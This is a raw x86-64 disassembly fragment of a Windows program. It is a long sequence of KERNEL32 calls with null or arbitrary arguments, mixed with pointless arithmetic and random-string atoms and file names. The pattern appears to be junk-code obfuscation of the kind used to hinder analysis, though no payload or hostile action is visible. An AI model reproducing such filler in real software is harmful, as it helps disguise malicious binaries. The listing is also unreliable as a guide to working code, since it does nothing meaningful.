mov dword [rsp + 0x4b10], eax
mov dword [rsp + 0x211e0], 0x11c
mov rcx, qword [rsp + 0x9598]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x4b68], eax
movzx ecx, word [rsp + 0x1008]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1094], ax
lea rcx, str.JBTJVx2Y
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x1280], ax
movsx eax, byte [rsp + 0xe1]
movsx ecx, byte [rsp + 0x278]
sub eax, ecx
mov byte [rsp + 0x1e1], al
mov rax, qword [rsp + 0x99f0]
mov rcx, qword [rsp + 0xa288]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x86f0], rax
lea rcx, [rsp + 0x1a3a8]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
lea rcx, [rsp + 0x9960]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov rax, qword [rsp + 0x93b8]
mov rcx, qword [rsp + 0x9538]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [0x14022fba0], eax
mov rcx, qword [rsp + 0xa1d0]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x4934], eax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xa748], rax
mov rcx, qword [rsp + 0x9ef0]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x4a50], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
movzx eax, word [rsp + 0x910]
mov rcx, qword [rsp + 0x9858]
movzx ecx, word [rcx]
imul eax, ecx
mov rcx, qword [rsp + 0xa2e0]
mov word [rcx], ax
lea rcx, str.mv_MWk4enO_T7Tq
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x1284], ax
movzx ecx, word [rsp + 0x11a8]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1158], ax
lea rax, [rsp + 0x257]
mov qword [rsp + 0xa750], rax
xor r8d, r8d
mov edx, 2
lea rcx, [rsp + 0x1f6e0]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0x4a18], eax
lea rcx, [rsp + 0xa758]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
mov rax, qword [rsp + 0xa160]
mov rcx, qword [rsp + 0xa620]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x9be0], rax
lea rcx, [0x140232258]
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x11ec], ax
lea rax, [rsp + 0x8110]
mov qword [rsp + 0xa760], rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FindFirstFileExW]
lea rcx, str.3D_BE
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x11cc], ax
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadTimes]
mov rax, qword [rsp + 0x9d10]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xa24]
add eax, ecx
mov word [rsp + 0x1130], ax
movsx eax, byte [rsp + 0x283]
mov rcx, qword [rsp + 0xa2a0]
movsx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x294], al
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 0
xor r9d, r9d
mov r8d, 2
mov edx, 0x40000000
lea rcx, str.AGgdGHY2IK
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xa768], rax
lea rax, [rsp + 0x48a0]
mov qword [rsp + 0xa770], rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_PostQueuedCompletionStatus]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetProcessWorkingSetSize]
mov rax, qword [rsp + 0xa658]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x8e78]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x2a5], al
lea rdx, [rsp + 0xa778]
mov rcx, qword [rsp + 0x9920]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x4abc], eax
movzx eax, word [rsp + 0x1088]
movzx ecx, word [rsp + 0x1030]
sar eax, cl
mov rcx, qword [0x14024f2e8]
mov word [rcx], ax
mov dword [rsp + 0x20], 0xcae
mov r9d, 0x2595
mov r8d, 0x2bc6
mov edx, 0x98c
mov rcx, qword [rsp + 0x9540]
call qword [sym.imp.KERNEL32.dll_UnlockFile]
mov dword [rsp + 0x4900], eax
lea rax, [rsp + 0x4770]
mov qword [rsp + 0xa780], rax
xor r8d, r8d
mov edx, 8
lea rcx, [rsp + 0x207c0]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0x4c00], eax
mov rax, qword [rsp + 0x9578]
mov rcx, qword [rsp + 0x9080]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0xa250], rax
mov rax, qword [rsp + 0x9e88]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9978]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x86e8], rax
mov rax, qword [rsp + 0xa5c0]
movzx eax, word [rax]
mov word [rsp + 0x1288], ax
lea rdx, [rsp + 0x9b08]
mov rcx, qword [rsp + 0xa4d8]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x4b24], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileAttributesExW]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x200
mov dword [rsp + 0x20], 0
xor r9d, r9d
mov r8d, 2
mov edx, 0xc0000000
lea rcx, str.5veyh1ZqYCVINy3qrO5ThKHvlkFu
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xa788], rax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0xa260], rax
movsx eax, byte [rsp + 0x28a]
mov rcx, qword [rsp + 0x9db8]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x294], al
mov rcx, qword [rsp + 0x9bc0]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x4be0], eax
mov eax, dword [rsp + 0x4878]
mov dword [rsp + 0x4c04], eax
mov rax, qword [rsp + 0x9870]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x10fc]
add eax, ecx
mov word [rsp + 0x1118], ax
lea rcx, [rsp + 0x9f88]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
lea rcx, str.B68VE_UN9P
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x128c], ax
mov r9d, 2
lea r8, [rsp + 0xa078]
mov rdx, qword [rsp + 0x9db0]
mov rcx, qword [rsp + 0x9e38]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x4af8], eax
mov rax, qword [rsp + 0x9a10]
mov rcx, qword [rsp + 0xa238]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4ae4], eax
movzx eax, byte [rsp + 0x86]
mov byte [0x14024f1f9], al
mov rax, qword [rsp + 0xa030]
mov rcx, qword [0x14024f3c0]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x7d30], rax
mov rax, qword [rsp + 0x9970]
mov rcx, qword [rsp + 0x8850]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x89e0], rax
xor r8d, r8d
mov edx, 0x40
lea rcx, [rsp + 0x1f5c0]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0x4c08], eax
mov edx, 0x1be5
mov rcx, qword [rsp + 0x9e80]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x4a90], eax
mov eax, dword [rsp + 0x49b0]
mov dword [rsp + 0x4c0c], eax
mov rax, qword [rsp + 0x93e8]
movzx eax, word [rax]
mov rcx, qword [0x14024f2f8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x6d8], ax
movzx ecx, word [rsp + 0x1254]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x119c], ax
lea rcx, str.nmJOh_E1V9kWfy4O
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x1290], ax
mov rax, qword [rsp + 0xa448]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x16a]
add eax, ecx
mov byte [rsp + 0xb2], al
mov r9d, 2
lea r8, [rsp + 0xa580]
mov rdx, qword [rsp + 0xa358]
mov rcx, qword [rsp + 0xa130]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x4b5c], eax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0xa790], rax
mov edx, 0x1935
mov rcx, qword [rsp + 0x8d00]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x4bc8], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FlushViewOfFile]
mov rcx, qword [rsp + 0x9078]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x4c10], eax
lea rax, [rsp + 0x11f8]
mov qword [rsp + 0xa798], rax
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x5cb
mov r9d, 0x1364
mov r8d, 0x8183994e
mov edx, 2
mov rcx, qword [rsp + 0x95d8]
call qword [sym.imp.KERNEL32.dll_LockFileEx]
mov dword [rsp + 0x46f4], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_EncodeSystemPointer]
lea rcx, [rsp + 0x9610]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov dword [rsp + 0x21300], 0x11c
mov eax, dword [rsp + 0x4684]
mov ecx, dword [rsp + 0x48a0]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4b00], eax
mov rax, qword [rsp + 0xa270]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x290]
and eax, ecx
mov byte [rsp + 0x26b], al
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0xa548], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetMessageWaitingIndicator]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FreeResource]
mov rcx, qword [rsp + 0x8d00]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov r9d, 0xe31
xor r8d, r8d
lea rdx, [rsp + 0x8ce0]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x48c4], eax
movzx ecx, word [rsp + 0x11d8]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1294], ax
mov rax, qword [rsp + 0x93b8]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x49e8]
shl eax, cl
mov rcx, qword [0x14024f298]
mov dword [rcx], eax
mov r9d, 2
lea r8, [rsp + 0x9278]
mov rdx, qword [rsp + 0xa4b8]
mov rcx, qword [rsp + 0x9fb8]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x4bf8], eax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateIoCompletionPort]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
lea rcx, [rsp + 0x9b08]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
lea rdx, [rsp + 0x9e90]
mov rcx, qword [rsp + 0x9e38]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x4914], eax
movzx eax, byte [0x14024f388]
movzx ecx, byte [rsp + 0x270]
xor eax, ecx
mov byte [rsp + 0x2a5], al
lea rcx, str.QvQN_M85Sd9o
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x1298], ax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FlushInstructionCache]
mov rax, qword [rsp + 0xa618]
movzx eax, word [rax]
mov word [rsp + 0x129c], ax
mov rax, qword [0x14024f3c0]
mov rcx, qword [rsp + 0xa3a0]
mov qword [rsp + 0xa7a0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xa7a0]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0xa1b0], rax
mov r9d, 2
lea r8, [rsp + 0xa2c0]
mov rdx, qword [rsp + 0xa388]
mov rcx, qword [rsp + 0xa458]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x4bac], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
lea rcx, [rsp + 0x1a6a8]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FreeResource]
mov rax, qword [rsp + 0x9de8]
mov rax, qword [rax]
cqo
mov rcx, qword [rsp + 0xa6d8]
idiv qword [rcx]
mov rcx, qword [rsp + 0xa598]
mov qword [rcx], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ConvertThreadToFiber]
lea rcx, str.DWix1cd_IyKi_Kw_8
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x12a0], ax
movzx eax, word [rsp + 0x1000]
mov word [rsp + 0x12a4], ax
mov rax, qword [rsp + 0x9f50]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4644]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x4c04], eax
lea rax, [rsp + 0x27b]
mov qword [rsp + 0xa7a8], rax
movzx eax, word [rsp + 0x1208]
mov rcx, qword [rsp + 0x9618]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1164], ax
mov r9d, 2
lea r8, [rsp + 0x9000]
mov rdx, qword [rsp + 0x9968]
mov rcx, qword [rsp + 0xa418]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x4bfc], eax
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessTimes]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x10
mov dword [rsp + 0x20], 2
xor r9d, r9d
mov r8d, 8
mov edx, 0x80000000
lea rcx, str.5Q99WcJOvzrlJ82Wes
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xa7b0], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ResetEvent]
lea rcx, str.N4_W2SN
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x10d0], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetHandleCount]
mov rax, qword [rsp + 0x8e78]
movzx eax, byte [rax]
movzx ecx, byte [0x14022103e]
add eax, ecx
mov byte [0x14022133c], al
xor r9d, r9d
lea r8, [rsp + 0x9c28]
mov rdx, qword [rsp + 0xa408]
mov rcx, qword [rsp + 0x8d08]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x4c14], eax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xa680], rax
mov dword [rsp + 0x20], 0x24e6
mov r9d, 0x24a9
mov r8d, 0x1308
mov edx, 0x3ec7
mov rcx, qword [rsp + 0x9788]
call qword [sym.imp.KERNEL32.dll_LockFile]
mov dword [rsp + 0x4afc], eax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0xa7b8], rax
mov rax, qword [rsp + 0xa688]
mov rcx, qword [rsp + 0xa3d8]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x9970], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov rax, qword [rsp + 0x9c80]
mov ecx, dword [rsp + 0x4b18]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4210], eax
mov rax, qword [rsp + 0x9690]
mov rax, qword [rax]
mov rcx, qword [0x14024f3c0]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9868]
mov qword [rcx], rax
mov rcx, qword [rsp + 0x9b80]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetInformationJobObject]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0xa7c0], rax
mov rcx, qword [rsp + 0xa790]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x49e0], eax
mov eax, dword [rsp + 0x48e4]
mov dword [rsp + 0x4c18], eax
movzx ecx, word [rsp + 0x1080]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x11ac], ax
mov rax, qword [rsp + 0xa248]
mov rcx, qword [rsp + 0x9c00]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xa248]
mov dword [rcx], eax
lea rcx, str.J1Jx0rW_AuvS
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x12a8], ax
mov rax, qword [rsp + 0x99d8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x238]
add eax, ecx
mov byte [rsp + 0x283], al
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMemoryResourceNotification]
lea rax, [rsp + 0x1020]
mov qword [rsp + 0xa7c8], rax
mov rax, qword [rsp + 0xa058]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x8e78]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x279], al
xor r9d, r9d
lea r8, [rsp + 0x9c28]
mov rdx, qword [rsp + 0x9c10]
mov rcx, qword [rsp + 0x9fd8]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x4808], eax
mov rax, qword [rsp + 0x9530]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x99b0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x14024f300], ax
lea rax, [rsp + 0x98b8]
mov qword [rsp + 0xa7d0], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x2d40
mov r9d, 0x1d75
mov r8d, 0xec414cb1
mov edx, 2
mov rcx, qword [rsp + 0xa6d0]
call qword [sym.imp.KERNEL32.dll_LockFileEx]
mov dword [rsp + 0x4a64], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalCompact]
mov rax, qword [0x14024f258]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4ba4]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa040]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa428]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xf98]
add eax, ecx
mov word [rsp + 0xf00], ax
lea rax, [rsp + 0x276]
mov qword [rsp + 0xa7d8], rax
mov rax, qword [rsp + 0xa738]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x4268]
shl eax, cl
mov dword [rsp + 0x48b4], eax
mov rax, qword [rsp + 0xa740]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x9d10]
movsx ecx, word [rcx]
cdq
idiv ecx
mov word [rsp + 0xe70], ax
mov rax, qword [rsp + 0x9d40]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x261]
or eax, ecx
mov byte [rsp + 0x29b], al
mov dword [rsp + 0x20], 0x2331
mov r9d, 0x1087
mov r8d, 0x3a28
mov edx, 0x1296
mov rcx, qword [rsp + 0xa418]
call qword [sym.imp.KERNEL32.dll_LockFile]
mov dword [rsp + 0x4c1c], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalUnfix]
lea rcx, [rsp + 0xa118]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
mov rax, qword [rsp + 0x9e68]
mov qword [rsp + 0xa7e0], rax
mov rax, qword [rsp + 0xa6a8]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x4738]
shr eax, cl
mov dword [rsp + 0x435c], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessVersion]
movzx eax, byte [rsp + 0x28b]
movzx ecx, byte [0x14024f1fa]
xor eax, ecx
mov rcx, qword [0x14024f240]
mov byte [rcx], al
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov qword [rsp + 0x20], 0
mov r9d, 0x3012
mov r8d, 0x1170
mov edx, 0xec
mov rcx, qword [rsp + 0x8d08]
call qword [sym.imp.KERNEL32.dll_UnlockFileEx]
mov dword [rsp + 0x4b70], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessPriorityBoost]
mov r9d, 0x28e
xor r8d, r8d
lea rdx, [rsp + 0x9750]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x4c20], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessId]
lea rcx, [rsp + 0x9ea0]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov rax, qword [rsp + 0x9858]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x96c0]
movzx ecx, word [rcx]
imul eax, ecx
mov rcx, qword [rsp + 0x8f20]
mov word [rcx], ax
mov rax, qword [rsp + 0x8cf8]
mov rax, qword [rax]
mov qword [rsp + 0xa7e8], rax
mov rcx, qword [rsp + 0xa0f8]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x4ad4], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x200
mov dword [rsp + 0x20], 2
xor r9d, r9d
mov r8d, 1
mov edx, 0x80000000
lea rcx, str.gllT3KYZ2VILL3gVmOn3fGUkVi7O6E
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xa7f0], rax
mov dword [rsp + 0x20], 0x3968
mov r9d, 0x2d38
mov r8d, 0x7ac
mov edx, 0x68c
mov rcx, qword [rsp + 0x97c0]
call qword [sym.imp.KERNEL32.dll_LockFile]
mov dword [rsp + 0x4c08], eax
lea rdx, [rsp + 0xa7f8]
mov rcx, qword [rsp + 0x9770]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x49a0], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalDeleteAtom]
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessTimes]
mov rax, qword [rsp + 0x9720]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8180]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x98c0]
mov qword [rcx], rax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0x9ff8], rax
lea rdx, [rsp + 0x9b88]
mov rcx, qword [rsp + 0x9cb8]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x4c24], eax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0x8b18], rax
movsx eax, word [rsp + 0x11e0]
mov rcx, qword [rsp + 0xa740]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x91c], ax
xor r8d, r8d
mov edx, 0x20
lea rcx, [rsp + 0x20100]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0x4c28], eax
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetMailslotInfo]
mov rax, qword [rsp + 0x93d8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xa538]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x127], al
mov rax, qword [rsp + 0x9c00]
mov rcx, qword [rsp + 0xa738]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0xa638]
mov dword [rcx], eax
xor r8d, r8d
mov edx, 8
lea rcx, [rsp + 0x210c0]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0x4bfc], eax
mov eax, dword [rsp + 0x4710]
mov dword [rsp + 0x4c2c], eax
xor r9d, r9d
lea r8, [rsp + 0x9ba0]
mov rdx, qword [rsp + 0x9db0]
mov rcx, qword [rsp + 0xa418]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x4c30], eax
movzx eax, word [rsp + 0x6fc]
mov rcx, qword [0x14024f360]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x6ec], ax
lea rcx, [rsp + 0xa4b8]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov edx, 0xd4
mov rcx, qword [rsp + 0x9f70]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x4be8], eax
mov rax, qword [rsp + 0xa468]
movzx eax, byte [rax]
mov byte [0x14024f1f8], al
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0xa800], rax
lea rax, [rsp + 0x8e30]
mov qword [rsp + 0xa808], rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetWriteWatch]
mov rax, qword [rsp + 0x7b28]
mov rcx, qword [rsp + 0x8290]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x8918], rax
movzx ecx, word [rsp + 0xf44]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1154], ax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0x9880], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0xa810], rax
mov rax, qword [rsp + 0x9a68]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x9640]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x29c], al
mov r9d, 1
lea r8, [rsp + 0xa330]
mov rdx, qword [rsp + 0x9610]
mov rcx, qword [rsp + 0x9da8]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x46bc], eax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0xa818], rax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0x9950], rax
movsx eax, word [rsp + 0x10b8]
mov rcx, qword [rsp + 0x96e8]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x984], ax
mov rax, qword [rsp + 0x8f98]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x25a]
sub eax, ecx
mov byte [rsp + 0x271], al
mov rax, qword [rsp + 0x87e0]
mov qword [rsp + 0xa820], rax
lea rcx, [rsp + 0xa3c8]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov eax, dword [rsp + 0x4764]
movzx ecx, al
mov eax, dword [rsp + 0x4120]
shl eax, cl
mov rcx, qword [rsp + 0x9fa8]
mov dword [rcx], eax
mov qword [rsp + 0x20], 0
mov r9d, 0x3198
mov r8d, 0x243c
mov edx, 0x16
mov rcx, qword [rsp + 0x8f08]
call qword [sym.imp.KERNEL32.dll_UnlockFileEx]
mov dword [rsp + 0x4978], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0xa828], rax
movzx ecx, word [rsp + 0x10ac]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x11a8], ax
mov eax, dword [0x14022fb90]
movzx ecx, al
mov eax, dword [rsp + 0x4800]
shr eax, cl
mov dword [rsp + 0x4224], eax
lea rax, [rsp + 0x10a8]
mov qword [0x14024f1f0], rax
lea rcx, [rsp + 0xa4a0]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
lea rcx, [rsp + 0x1a798]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
lea rcx, [rsp + 0xa830]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
mov rcx, qword [rsp + 0x9818]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rax, qword [rsp + 0xa338]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1164]
or eax, ecx
mov word [rsp + 0x10a4], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FreeResource]
